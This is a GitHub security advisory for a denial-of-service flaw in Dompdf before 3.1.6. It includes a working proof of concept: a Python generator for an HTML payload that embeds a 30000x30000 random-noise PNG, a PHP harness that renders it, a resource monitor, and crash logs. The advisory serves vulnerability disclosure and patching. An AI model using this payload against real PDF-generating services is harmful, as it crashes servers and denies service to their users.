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Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

Moderate severity GitHub Reviewed Published Jul 20, 2026 in dompdf/dompdf • Updated Jul 22, 2026

Package

composer dompdf/dompdf (Composer)

Affected versions

< 3.1.6

Patched versions

3.1.6

Description

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

  • 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
  • Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

  1. Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
  1. Use the following Python script to generate the malicious payload (exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
    
    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)
    
    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """
    
    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()
  1. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):
import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()
  1. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);

$dompdf = new Dompdf($options);

$html = file_get_contents('php://stdin');

echo "[*] Starting Dompdf rendering process...\n";

try {
    $dompdf->loadHtml($html);
    $dompdf->render(); // Point of resource exhaustion
    echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
    echo "[!] Render failed: " . $e->getMessage() . "\n";
}
  1. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html
  1. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.

Proof of Concept Results

https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b

The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.

Payload Generation:

python3 exploit.py 
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html

Target Execution & Denial of Service:

php -d memory_limit=2G render.php < payload.html
Output
[*] Starting Dompdf rendering process...
PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490

While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:

python3 monitor.py 
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%

Key Findings from Telemetry:

  • CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
  • Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
  • Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.

Impact

An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.

Credits

  • Offensive Security Researcher: Fabian Rosales (far00t01).

References

@bsweeney bsweeney published to dompdf/dompdf Jul 20, 2026
Published to the GitHub Advisory Database Jul 22, 2026
Reviewed Jul 22, 2026
Last updated Jul 22, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-59942

GHSA ID

GHSA-f5gf-2cj8-52g2

Source code

Credits

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